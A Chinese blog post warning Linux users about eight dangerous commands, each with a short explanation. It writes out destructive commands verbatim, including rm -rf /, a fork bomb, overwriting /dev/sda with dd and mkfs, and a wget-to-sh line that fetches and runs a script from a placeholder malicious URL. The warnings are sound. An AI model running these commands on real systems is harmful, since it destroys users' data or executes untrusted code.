• A+

Linux之8个最危险的命令

2019-01-25 阅读: 141 次 评论 0 条 百度未收录
一个人的价值, 在于他贡献了什么, 而不在于他获得了什么。——爱因斯坦
本文共959个字,预计阅读时间需要3分钟。

Linux命令是很强大、高效的。但是有时侯执行一些命令要非常小心,尤其是,当你不知道自己在干什么的情况下。今天就列举下面几个命令,使用时一定要再三确认,要不然会后悔莫及。

1、 rm -rf

m -rf是删除目录最快的方法,如果使用桌面环境(右键->删除)删除一个零碎目录需要很长时间。但是一个小小的打字错误,有可能对你的系统造成不可恢复的破坏。
比如:

# rm -rf /

上面这条命令需要系统管理员权限,这也是不建议使用root用户登录系统的原因之一。
rm常用选项:

  • rm:删除文件
  • rm -r:递归的删除目录,包括空目录
  • rm -f:直接删除文件,不询问
  • rm -rf /:直接根(root)目录,不询问
  • rm -rf *:删除当前目录的所有东西,不询问
  • rm -rf:删除当前目录和子目录,不询问
在执行rm -rf一定要小心。为了防止rm命令意外删除文件或目录,可以为rm创建一个别名rm -i,每次都需要确认删除。

2、 :(){:|:&};:

上面这个命令就是所谓的fork炸弹。执行上面代码会耗尽系统资源而崩溃。

3、cmd > /dev/sda

cmd代表一个命令,cmd > /dev/sda把cmd命令的输出写到了/dev/sda块设备上,会导致/dev/sda块设备数据的全部丢失。

4、mv 目录 /dev/null

上面命令会把目录移动到/dev/null。在Linux中, /dev/null是一个特殊的设备文件,有人把它叫做黑洞。

  1. # mv /home/* /dev/null

上面命令相当于:

  1. # rm -rf /home/*

5、wget http://怀有恶意脚本的url -O- | sh

上面这条命令在安装软件或系统环境时总用到,它从url下载脚本,下载完成之后自动执行脚本。不要对不信任的url执行上面这个命令。

6、mkfs.ext3 /dev/sda

上面命令是格式化命令,执行完之后硬盘数据全部清空。

7、> file

> file命令会把文件中的数据全部清空。

8、dd if=/dev/random of=/dev/sda

上面命令向sda设备中写入随机数据,这是不可恢复的。

不论执行上面的哪一条命令时,一定要考虑清楚,是否需要,以免带来无法避免的错误。

本文地址:https://www.chyiyang.cn/64.html
本文标题:Linux之8个最危险的命令
版权声明:本站所有文章除特别声明外,均采用 署名-非商业性使用-禁止演绎 4.0 国际 许可协议。请尊重他人的劳动成果,转载请写明出处!
所属分类:Linux相关

发表评论


表情